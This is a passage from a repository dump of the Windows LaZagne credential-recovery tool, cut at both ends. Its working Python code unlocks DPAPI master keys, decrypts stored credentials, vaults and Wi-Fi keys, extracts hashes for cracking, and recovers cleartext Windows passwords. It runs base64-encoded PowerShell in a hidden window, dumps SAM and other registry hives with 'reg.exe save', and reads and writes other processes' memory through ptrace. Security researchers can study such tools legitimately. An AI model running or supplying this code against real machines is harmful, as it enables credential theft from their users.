DPAPI functions\n    \"\"\"\n\n    def __init__(self, password=None, pwdhash=None):\n        self.sid = None\n        self.umkp = None\n        self.unlocked = False\n\n        protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect')\n        credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST')\n\n        if os.path.exists(protect_folder):\n            for folder in os.listdir(protect_folder):\n                if folder.startswith('S-'):\n                    self.sid = folder\n                    break\n\n            if self.sid:\n                masterkeydir = os.path.join(protect_folder, self.sid)\n                if os.path.exists(masterkeydir):\n                    self.umkp = MasterKeyPool()\n                    self.umkp.load_directory(masterkeydir)\n                    self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file)\n\n                    if password:\n                        for ok, r in self.umkp.try_credential(sid=self.sid, password=password):\n                            if ok:\n                                self.unlocked = True\n                                print_debug('OK', r)\n                            else:\n                                print_debug('ERROR', r)\n\n                    elif pwdhash:\n                        for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')):\n                            if ok:\n                                self.unlocked = True\n                                print_debug('OK', r)\n                            else:\n                                print_debug('ERROR', r)\n\n    def check_credentials(self, passwords):\n        if self.umkp:\n            for password in passwords:\n                for ok, r in self.umkp.try_credential(sid=self.sid, password=password):\n                    if ok:\n                        self.unlocked = True\n                        print_debug('OK', r)\n                    else:\n                        print_debug('ERROR', r)\n\n    def decrypt_blob(self, dpapi_blob):\n        \"\"\"\n        Decrypt DPAPI Blob\n        \"\"\"\n        if self.umkp:\n            blob = DPAPIBlob(dpapi_blob)\n            ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp)\n            return manage_response(ok, msg)\n\n    def decrypt_cred(self, credfile):\n        \"\"\"\n        Decrypt Credential Files\n        \"\"\"\n        if self.umkp:\n            with open(credfile, 'rb') as f:\n                c = CredFile(f.read())\n            ok, msg = c.decrypt(self.umkp, credfile)\n            return manage_response(ok, msg)\n\n    def decrypt_vault(self, vaults_dir):\n        \"\"\"\n        Decrypt Vault Files\n        \"\"\"\n        if self.umkp:\n            v = Vault(vaults_dir=vaults_dir)\n            ok, msg = v.decrypt(mkp=self.umkp)\n            return manage_response(ok, msg)\n\n    def decrypt_encrypted_blob(self, ciphered, entropy_hex=False):\n        \"\"\"\n        Decrypt encrypted blob\n        \"\"\"\n        if self.umkp:\n            blob = DPAPIBlob(ciphered)\n            ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex)\n            return manage_response(ok, msg)\n\n    def get_dpapi_hash(self, context='local'):\n        \"\"\"\n        Retrieve DPAPI hash to bruteforce it using john or hashcat.\n        \"\"\"\n        if self.umkp:\n            return self.umkp.get_dpapi_hash(sid=self.sid, context=context)\n\n    def get_cleartext_password(self):\n        \"\"\"\n        Retrieve cleartext password associated to the preferred user maskterkey.\n        This password should represent the windows user password.\n        \"\"\"\n        if self.umkp:\n            return self.umkp.get_cleartext_password()\n\n\nclass SystemDpapi(object):\n    \"\"\"\n    System class for DPAPI functions\n    Need to have high privilege\n    \"\"\"\n\n    def __init__(self):\n        self.smkp = None\n        self.unlocked = False\n\n        if not constant.lsa_secrets:\n            # Retrieve LSA secrets\n            LSASecrets().run()\n\n        if constant.lsa_secrets:\n            masterkeydir = u'C:\\\\Windows\\\\System32\\\\Microsoft\\\\Protect\\\\S-1-5-18\\\\User'\n            if os.path.exists(masterkeydir):\n                self.smkp = MasterKeyPool()\n                self.smkp.load_directory(masterkeydir)\n                self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM'])\n                for ok, r in self.smkp.try_system_credential():\n                    if ok:\n                        print_debug('OK', r)\n                        self.unlocked = True\n                    else:\n                        print_debug('ERROR', r)\n\n    def decrypt_wifi_blob(self, key_material):\n        \"\"\"\n        Decrypt wifi password\n        \"\"\"\n        if self.smkp:\n            blob = DPAPIBlob(codecs.decode(key_material, 'hex'))\n            ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp)\n            return manage_response(ok, msg)\n"
  },
  {
    "path": "Windows/lazagne/config/execute_cmd.py",
    "content": "# -*- coding: utf-8 -*-\r\n# !/usr/bin/python\r\nimport base64\r\nimport os\r\nimport subprocess\r\nimport re\r\n\r\nfrom lazagne.config.write_output import print_debug\r\nfrom lazagne.config.constant import constant\r\n\r\ntry: \r\n    import _subprocess as sub\r\n    STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW  # Not work on Python 3\r\n    SW_HIDE = sub.SW_HIDE\r\nexcept ImportError:\r\n    STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW\r\n    SW_HIDE = subprocess.SW_HIDE\r\n\r\n\r\ndef powershell_execute(script, func):\r\n    \"\"\"\r\n    Execute a powershell script\r\n    \"\"\"\r\n    output = \"\"\r\n    try:\r\n        script = re.sub(\"Write-Verbose \", \"Write-Output \", script, flags=re.I)\r\n        script = re.sub(\"Write-Error \", \"Write-Output \", script, flags=re.I)\r\n        script = re.sub(\"Write-Warning \", \"Write-Output \", script, flags=re.I)\r\n\r\n        full_args = [\"powershell.exe\", \"-NoProfile\", \"-NoLogo\", \"-C\", \"-\"]\r\n\r\n        info = subprocess.STARTUPINFO()\r\n        info.dwFlags = STARTF_USESHOWWINDOW\r\n        info.wShowWindow = SW_HIDE\r\n\r\n        p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,\r\n                             stdout=subprocess.PIPE, universal_newlines=True, shell=True)\r\n        p.stdin.write(\"$base64=\\\"\\\"\" + \"\\n\")\r\n\r\n        n = 25000\r\n        b64_script = base64.b64encode(script)\r\n        tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)]\r\n        for t in tab:\r\n            p.stdin.write(\"$base64+=\\\"%s\\\"\\n\" % t)\r\n            p.stdin.flush()\r\n\r\n        p.stdin.write(\"$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\\n\")\r\n        p.stdin.write(\"Invoke-Expression $d\\n\")\r\n\r\n        p.stdin.write(\"\\n$a=Invoke-Expression \\\"%s\\\" | Out-String\\n\" % func)\r\n        p.stdin.write(\"$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\\\"$a\\\"))\\n\")\r\n        p.stdin.write(\"Write-Host \\\"[BEGIN]\\\"\\n\")\r\n        p.stdin.write(\"Write-Host $b\\n\")\r\n\r\n        # begin flag used to remove possible bullshit output print before the func is launched\r\n        if '[BEGIN]' in p.stdout.readline():\r\n            # Get the result in base64\r\n            for i in p.stdout.readline():\r\n                output += i\r\n            output = base64.b64decode(output)\r\n    except Exception:\r\n        pass\r\n\r\n    return output\r\n\r\n\r\ndef save_hives():\r\n    \"\"\"\r\n    Save SAM Hives\r\n    \"\"\"\r\n    for h in constant.hives:\r\n        if not os.path.exists(constant.hives[h]):\r\n            try:\r\n                cmdline = 'reg.exe save hklm\\\\%s %s' % (h, constant.hives[h])\r\n                command = ['cmd.exe', '/c', cmdline]\r\n                info = subprocess.STARTUPINFO()\r\n                info.dwFlags = STARTF_USESHOWWINDOW\r\n                info.wShowWindow = SW_HIDE\r\n                p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,\r\n                                     stdout=subprocess.PIPE, universal_newlines=True)\r\n                results, _ = p.communicate()\r\n            except Exception as e:\r\n                print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e))\r\n                return False\r\n    return True\r\n\r\n\r\ndef delete_hives():\r\n    \"\"\"\r\n    Delete SAM Hives\r\n    \"\"\"\r\n    # Try to remove all temporary files\r\n    for h in constant.hives:\r\n        if os.path.exists(constant.hives[h]):\r\n            try:\r\n                os.remove(constant.hives[h])\r\n                print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h]))\r\n            except Exception:\r\n                print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h]))\r\n\r\n"
  },
  {
    "path": "Windows/lazagne/config/lib/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/Address.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom .utils import *\n\nclass AddressException(Exception):\n    pass\n\n\nclass Address(object):\n    \"\"\" this class is used to have better representation of memory addresses \"\"\"\n\n    def __init__(self, value, process, default_type = 'uint'):\n        self.value = int(value)\n        self.process = process\n        self.default_type = default_type\n        self.symbolic_name = None\n\n    def read(self, type = None, maxlen = None, errors='raise'):\n        if maxlen is None:\n            try:\n                int(type)\n                maxlen = int(type)\n                type = None\n            except:\n                pass\n\n        if not type:\n            type = self.default_type\n        if not maxlen:\n            return self.process.read(self.value, type=type, errors=errors)\n        else:\n            return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors)\n\n    def write(self, data, type = None):\n        if not type:\n            type = self.default_type\n        return self.process.write(self.value, data, type=type)\n\n    def symbol(self):\n        return self.process.get_symbolic_name(self.value)\n\n    def get_instruction(self):\n        return self.process.get_instruction(self.value)\n\n    def dump(self, ftype = 'bytes', size = 512, before = 32):\n        buf = self.process.read_bytes(self.value - before, size)\n        print(hex_dump(buf, self.value - before, ftype=ftype))\n\n    def __nonzero__(self):\n        return self.value is not None and self.value != 0\n\n    def __add__(self, other):\n        return Address(self.value + int(other), self.process, self.default_type)\n\n    def __sub__(self, other):\n        return Address(self.value - int(other), self.process, self.default_type)\n\n    def __repr__(self):\n        if not self.symbolic_name:\n            self.symbolic_name = self.symbol()\n        return str('<Addr: %s' % self.symbolic_name + '>')\n\n    def __str__(self):\n        if not self.symbolic_name:\n            self.symbolic_name = self.symbol()\n        return str('<Addr: %s' % self.symbolic_name + ' : \"%s\" (%s)>' % (str(self.read()).encode('unicode_escape'), self.default_type))\n\n    def __int__(self):\n        return int(self.value)\n\n    def __hex__(self):\n        return hex(self.value)\n\n    def __get__(self, instance, owner):\n        return self.value\n\n    def __set__(self, instance, value):\n        self.value = int(value)\n\n    def __lt__(self, other):\n        return self.value < int(other)\n\n    def __le__(self, other):\n        return self.value <= int(other)\n\n    def __eq__(self, other):\n        return self.value == int(other)\n\n    def __ne__(self, other):\n        return self.value != int(other)\n\n    def __gt__(self, other):\n        return self.value > int(other)\n\n    def __ge__(self, other):\n        return self.value >= int(other)\n\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/BaseProcess.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport struct\n\nfrom .utils import *\n\n\n\"\"\" Base class for process not linked to any platform \"\"\"\n\nclass ProcessException(Exception):\n    pass\n\nclass BaseProcess(object):\n\n    def __init__(self, *args, **kwargs):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        self.h_process = None\n        self.pid = None\n        self.isProcessOpen = False\n        self.buffer = None\n        self.bufferlen = 0\n\n    def __del__(self):\n        self.close()\n\n    def close(self):\n        pass\n    def iter_region(self, *args, **kwargs):\n        raise NotImplementedError\n    def write_bytes(self, address, data):\n        raise NotImplementedError\n\n    def read_bytes(self, address, bytes = 4):\n        raise NotImplementedError\n\n    def get_symbolic_name(self, address):\n        return '0x%08X' % int(address)\n\n    def read(self, address, type = 'uint', maxlen = 50, errors='raise'):\n        if type == 's' or type == 'string':\n            s = self.read_bytes(int(address), bytes=maxlen)\n\n            try:\n                idx = s.index(b'\\x00')\n                return s[:idx]\n            except:\n                if errors == 'ignore':\n                    return s\n\n                raise ProcessException('string > maxlen')\n\n        else:\n            if type == 'bytes' or type == 'b':\n                return self.read_bytes(int(address), bytes=maxlen)\n            s, l = type_unpack(type)\n            return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]\n\n    def write(self, address, data, type = 'uint'):\n        if type != 'bytes':\n            s, l = type_unpack(type)\n            return self.write_bytes(int(address), struct.pack(s, data))\n        else:\n            return self.write_bytes(int(address), data)\n   \n\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/LinProcess.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport copy\nimport struct\n# import utils\nimport platform\nimport ctypes, re, sys\nfrom ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno\nimport errno\nimport os\nimport signal\nfrom .BaseProcess import BaseProcess, ProcessException\nfrom .structures import *\nimport logging\n\nlogger = logging.getLogger('memorpy')\n\nlibc=ctypes.CDLL(\"libc.so.6\", use_errno=True)\nget_errno_loc = libc.__errno_location\nget_errno_loc.restype = POINTER(c_int)\n\ndef errcheck(ret, func, args):\n    if ret == -1:\n        _errno = get_errno() or errno.EPERM\n        raise OSError(os.strerror(_errno))\n    return ret\n\nc_ptrace = libc.ptrace\nc_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t\nc_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p]\nc_ptrace.restype = c_long\nmprotect = libc.mprotect\nmprotect.restype = c_int\nmprotect.argtypes = [c_void_p, c_size_t, c_int]\nLARGE_FILE_SUPPORT=False\ntry:\n    c_off64_t=ctypes.c_longlong\n    lseek64 = libc.lseek64\n    lseek64.argtypes = [c_int, c_off64_t, c_int]\n    lseek64.errcheck=errcheck\n    open64 = libc.open64\n    open64.restype = c_int\n    open64.argtypes = [c_void_p, c_int]\n    open64.errcheck=errcheck\n    pread64=libc.pread64\n    pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t]\n    pread64.restype = c_ssize_t\n    pread64.errcheck=errcheck\n    c_close=libc.close\n    c_close.argtypes = [c_int]\n    c_close.restype = c_int\n    LARGE_FILE_SUPPORT=True\nexcept:\n    logger.warning(\"no Large File Support\")\n\nclass LinProcess(BaseProcess):\n    def __init__(self, pid=None, name=None, debug=True, ptrace=None):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        super(LinProcess, self).__init__()\n        self.mem_file=None\n        self.ptrace_started=False\n        if pid is not None:\n            self.pid=pid\n        elif name is not None:\n            self.pid=LinProcess.pid_from_name(name)\n        else:\n            raise ValueError(\"You need to instanciate process with at least a name or a pid\")\n        if ptrace is None:\n            if os.getuid()==0:\n                self.read_ptrace=False # no need to ptrace the process when root to read memory\n            else:\n                self.read_ptrace=True\n        self._open()\n\n    def check_ptrace_scope(self):\n        \"\"\" check ptrace scope and raise an exception if privileges are unsufficient\n\n        The sysctl settings (writable only with CAP_SYS_PTRACE) are:\n\n        0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other\n            process running under the same uid, as long as it is dumpable (i.e.\n            did not transition uids, start privileged, or have called\n            prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is\n            unchanged.\n\n        1 - restricted ptrace: a process must have a predefined relationship\n            with the inferior it wants to call PTRACE_ATTACH on. By default,\n            this relationship is that of only its descendants when the above\n            classic criteria is also met. To change the relationship, an\n            inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare\n            an allowed debugger PID to call PTRACE_ATTACH on the inferior.\n            Using PTRACE_TRACEME is unchanged.\n\n        2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace\n            with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.\n\n        3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via\n            PTRACE_TRACEME. Once set, this sysctl value cannot be changed.\n        \"\"\"\n        try:\n            with open(\"/proc/sys/kernel/yama/ptrace_scope\",'rb') as f:\n                ptrace_scope=int(f.read().strip())\n            if ptrace_scope==3:\n                logger.warning(\"yama/ptrace_scope == 3 (no attach). :/\")\n            if os.getuid()==0:\n                return\n            elif ptrace_scope == 1:\n                logger.warning(\"yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root\")\n            elif ptrace_scope == 2:\n                logger.warning(\"yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE\")\n\n        except IOError:\n            pass\n\n        except Exception as e:\n            logger.warning(\"Error getting ptrace_scope ?? : %s\"%e)\n\n    def close(self):\n        if self.mem_file:\n            if not LARGE_FILE_SUPPORT:\n                self.mem_file.close()\n            else:\n                c_close(self.mem_file)\n            self.mem_file=None\n        if self.ptrace_started:\n            self.ptrace_detach()\n\n    def __del__(self):\n        self.close()\n\n    def _open(self):\n        self.isProcessOpen = True\n        self.check_ptrace_scope()\n        if os.getuid()!=0:\n            #to raise an exception if ptrace is not allowed\n            self.ptrace_attach()\n            self.ptrace_detach()\n\n        #open file descriptor\n        if not LARGE_FILE_SUPPORT:\n            self.mem_file=open(\"/proc/\" + str(self.pid) + \"/mem\", 'rb', 0)\n        else:\n            path=create_string_buffer(b\"/proc/%d/mem\" % self.pid)\n            self.mem_file=open64(byref(path), os.O_RDONLY)\n\n    @staticmethod\n    def list():\n        processes=[]\n        for pid in os.listdir(\"/proc\"):\n            try:\n                exe=os.readlink(\"/proc/%s/exe\"%pid)\n                processes.append({\"pid\":int(pid), \"name\":exe})\n            except:\n                pass\n        return processes\n\n    @staticmethod\n    def pid_from_name(name):\n        #quick and dirty, works with all linux not depending on ps output\n        for pid in os.listdir(\"/proc\"):\n            try:\n                int(pid)\n            except:\n                continue\n            pname=\"\"\n            with open(\"/proc/%s/cmdline\"%pid,'r') as f:\n                pname=f.read()\n            if name in pname:\n                return int(pid)\n        raise ProcessException(\"No process with such name: %s\"%name)\n\n    ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.\n    def _ptrace(self, attach):\n        op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH)\n        c_pid = c_pid_t(self.pid)\n        null = ctypes.c_void_p()\n\n        if not attach:\n            os.kill(self.pid, signal.SIGSTOP)\n            os.waitpid(self.pid, 0)\n\n        err = c_ptrace(op, c_pid, null, null)\n\n        if not attach:\n            os.kill(self.pid, signal.SIGCONT)\n\n        if err != 0:\n            raise OSError(\"%s: %s\"%(\n                'PTRACE_ATTACH' if attach else 'PTRACE_DETACH',\n                errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')\n            ))\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \"\"\"\n            optimizations :\n                i for inode==0 (no file mapping)\n                s to avoid scanning shared regions\n                x to avoid scanning x regions\n                r don't scan ronly regions\n        \"\"\"\n        with open(\"/proc/\" + str(self.pid) + \"/maps\", 'r') as maps_file:\n            for line in maps_file:\n                m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\\s+([-rwpsx]+)\\s+([0-9A-Fa-f]+)\\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\\s+([0-9]+)\\s*(.*)', line)\n                if not m:\n                    continue\n                start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7)\n                if start_offset is not None:\n                    if start < start_offset:\n                        continue\n                if end_offset is not None:\n                    if start > end_offset:\n                        continue\n                chunk=end-start\n                if 'r' in region_protec: # TODO: handle protec parameter\n                    if optimizations:\n                        if 'i' in optimizations and inode != 0:\n                            continue\n                        if 's' in optimizations and 's' in region_protec:\n                            continue\n                        if 'x' in optimizations and 'x' in region_protec:\n                            continue\n                        if 'r' in optimizations and not 'w' in region_protec:\n                            continue\n                    yield start, chunk\n\n    def ptrace_attach(self):\n        if not self.ptrace_started:\n            res=self._ptrace(True)\n            self.ptrace_started=True\n        return res\n\n    def ptrace_detach(self):\n        if self.ptrace_started:\n            res=self._ptrace(False)\n            self.ptrace_started=False\n        return res\n\n    def write_bytes(self, address, data):\n        if not self.ptrace_started:\n            self.ptrace_attach()\n\n        c_pid = c_pid_t(self.pid)\n        null = ctypes.c_void_p()\n\n\n        #we can only copy data per range of 4 or 8 bytes\n        word_size=ctypes.sizeof(ctypes.c_void_p)\n        #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ)\n        for i in range(0, len(data), word_size):\n            word=data[i:i+word_size]\n            if len(word)<word_size: #we need to let some data untouched, so let's read at given offset to complete our 8 bytes\n                existing_data=self.read_bytes(int(address)+i+len(word), bytes=(word_size-len(word)))\n                word+=existing_data\n            if sys.byteorder==\"little\":\n                word=word[::-1]\n\n            attempt=0\n            err = c_ptrace(ctypes.c_int(PTRACE_POKEDATA), c_pid, int(address)+i, int(word.encode(\"hex\"), 16))\n            if err != 0:\n                error=errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')\n                raise OSError(\"Error using PTRACE_POKEDATA: %s\"%error)\n\n        self.ptrace_detach()\n        return True\n\n    def read_bytes(self, address, bytes = 4):\n        if self.read_ptrace:\n            self.ptrace_attach()\n        data=b''\n        if not LARGE_FILE_SUPPORT:\n            mem_file.seek(address)\n            data=mem_file.read(bytes)\n        else:\n            lseek64(self.mem_file, address, os.SEEK_SET)\n            data=b\"\"\n            try:\n                data=os.read(self.mem_file, bytes)\n            except Exception as e:\n                logger.info(\"Error reading %s at %s: %s\"%((bytes),address, e))\n        if self.read_ptrace:\n            self.ptrace_detach()\n        return data\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/LinStructures.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nPROT_NONE = 0\nPROT_READ = 1\nPROT_WRITE = 2\nPROT_EXEC = 4\nPROT_PRIVATE = 8\nPROT_SHARED = 16\n\n#Use some Windows constants for compatibility\nPAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE\nPAGE_EXECUTE_READ = PROT_EXEC | PROT_READ\nPAGE_READONLY = PROT_READ\nPAGE_READWRITE = PROT_READ | PROT_WRITE\n\nPTRACE_POKEDATA = 5 \nPTRACE_ATTACH = 16\nPTRACE_DETACH =17\nPTRACE_CONT = 7\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/Locator.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport copy\nimport time\nimport struct\n\nfrom .Address import Address\n\n\nclass Locator(object):\n    \"\"\" \n            take a memoryworker and a type to search\n            then you can feed the locator with values and it will reduce the addresses possibilities\n    \"\"\"\n\n    def __init__(self, mw, type = 'unknown', start = None, end = None):\n        self.mw = mw\n        self.type = type\n        self.last_iteration = {}\n        self.last_value = None\n        self.start = start\n        self.end = end\n\n    def find(self, value, erase_last = True):\n        return self.feed(value, erase_last)\n\n    def feed(self, value, erase_last = True):\n        self.last_value = value\n        new_iter = copy.copy(self.last_iteration)\n        if self.type == 'unknown':\n            all_types = ['uint',\n             'int',\n             'long',\n             'ulong',\n             'float',\n             'double',\n             'short',\n             'ushort']\n        else:\n            all_types = [self.type]\n        for type in all_types:\n            if type not in new_iter:\n                try:\n                    new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]\n                except struct.error:\n                    new_iter[type] = []\n            else:\n                l = []\n                for address in new_iter[type]:\n                    try:\n                        found = self.mw.process.read(address, type)\n                        if int(found) == int(value):\n                            l.append(Address(address, self.mw.process, type))\n                    except Exception as e:\n                        pass\n\n                new_iter[type] = l\n\n        if erase_last:\n            del self.last_iteration\n            self.last_iteration = new_iter\n        return new_iter\n\n    def get_addresses(self):\n        return self.last_iteration\n\n    def diff(self, erase_last = False):\n        return self.get_modified_addr(erase_last)\n\n    def get_modified_addr(self, erase_last = False):\n        last = self.last_iteration\n        new = self.feed(self.last_value, erase_last=erase_last)\n        ret = {}\n        for type, l in last.iteritems():\n            typeset = set(new[type])\n            for addr in l:\n                if addr not in typeset:\n                    if type not in ret:\n                        ret[type] = []\n                    ret[type].append(addr)\n\n        return ret\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/MemWorker.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\nimport sys\nimport string\nimport re\nimport logging\nimport traceback\nimport binascii\nimport struct\n\nfrom .Process import *\nfrom .utils import *\nfrom .Address import Address\nfrom .BaseProcess import ProcessException\nfrom .structures import *\n\nlogger = logging.getLogger('memorpy')\n\nREGEX_TYPE=type(re.compile(\"^plop$\"))\nclass MemWorker(object):\n\n    def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True):\n        self.process = Process(name=name, pid=pid, debug=debug)\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, type, value, traceback):\n        self.process.close()\n\n    def Address(self, value, default_type = 'uint'):\n        \"\"\" wrapper to instanciate an Address class for the memworker.process\"\"\"\n        return Address(value, process=self.process, default_type=default_type)\n\n    def umem_replace(self, regex, replace):\n        \"\"\" like search_replace_mem but works with unicode strings \"\"\"\n        regex = re_to_unicode(regex)\n        replace = replace.encode('utf-16-le')\n        return self.mem_replace(re.compile(regex, re.UNICODE), replace)\n\n    def mem_replace(self, regex, replace):\n        \"\"\" search memory for a pattern and replace all found occurrences \"\"\"\n        allWritesSucceed = True\n        for _, start_offset in self.mem_search(regex, ftype='re'):\n            if self.process.write_bytes(start_offset, replace) == 1:\n                logger.debug('Write at offset %s succeeded !' % start_offset)\n            else:\n                allWritesSucceed = False\n                logger.debug('Write at offset %s failed !' % start_offset)\n\n        return allWritesSucceed\n\n    def umem_search(self, regex):\n        \"\"\" like mem_search but works with unicode strings \"\"\"\n        regex = re_to_unicode(regex)\n        for _, i in self.mem_search(str(regex), ftype='re'):\n            yield i\n\n    def group_search(self, group, start_offset = None, end_offset = None):\n        regex = ''\n        for value, type in group:\n            if type == 'f' or type == 'float':\n                f = struct.pack('<f', float(value))\n                regex += '..' + f[2:4]\n            else:\n                raise NotImplementedError('unknown type %s' % type)\n\n        return self.mem_search(regex, ftype='re', start_offset=start_offset, end_offset=end_offset)\n\n    def search_address(self, addr):\n        a = '%08X' % addr\n        logger.debug('searching address %s' % a)\n        regex = ''\n        for i in range(len(a) - 2, -1, -2):\n            regex += binascii.unhexlify(a[i:i + 2])\n\n        for _, a in self.mem_search(re.escape(regex), ftype='re'):\n            yield a\n\n    def parse_re_function(self, b, value, offset):\n        for name, regex in value:\n            for res in regex.finditer(b):\n                yield name, self.Address(offset+res.start(), 'bytes')\n                \"\"\"\n                index = b.find(res)\n                while index != -1:\n                    soffset = offset + index\n                    if soffset not in duplicates_cache:\n                        duplicates_cache.add(soffset)\n                        yield name, self.Address(soffset, 'bytes')\n                    index = b.find(res, index + len(res))\n                \"\"\"\n\n    def parse_float_function(self, b, value, offset):\n        for index in range(0, len(b)):\n            try:\n                structtype, structlen = type_unpack('float')\n                tmpval = struct.unpack(structtype, b[index:index + 4])[0]\n                if int(value) == int(tmpval):\n                    soffset = offset + index\n                    yield self.Address(soffset, 'float')\n            except Exception as e:\n                pass\n\n    def parse_named_groups_function(self, b, value, offset=None):\n        for name, regex in value:\n            for res in regex.finditer(b):\n                yield name, res.groupdict()\n\n    def parse_groups_function(self, b, value, offset=None):\n        for name, regex in value:\n            for res in regex.finditer(b):\n                yield name, res.groups()\n\n    def parse_any_function(self, b, value, offset):\n        index = b.find(value)\n        while index != -1:\n            soffset = offset + index\n            yield self.Address(soffset, 'bytes')\n            index = b.find(value, index + 1)\n\n    def mem_search(self, value, ftype = 'match', protec = PAGE_READWRITE | PAGE_READONLY, optimizations=None, start_offset = None, end_offset = None):\n        \"\"\" \n                iterator returning all indexes where the pattern has been found\n        \"\"\"\n        \n        # pre-compile regex to run faster\n        if ftype == 're' or ftype == 'groups' or ftype == 'ngroups':\n            \n            # value should be an array of regex\n            if type(value) is not list:\n                value = [value]\n            \n            tmp = []\n            for reg in value:\n                if type(reg) is tuple:\n                    name = reg[0]\n                    if type(reg[1]) != REGEX_TYPE:\n                        regex = re.compile(reg[1], re.IGNORECASE)\n                    else:\n                        regex=reg[1]\n                elif type(reg) == REGEX_TYPE:\n                    name = ''\n                    regex=reg\n                else:\n                    name = ''\n                    regex = re.compile(reg, re.IGNORECASE)\n\n\n                tmp.append((name, 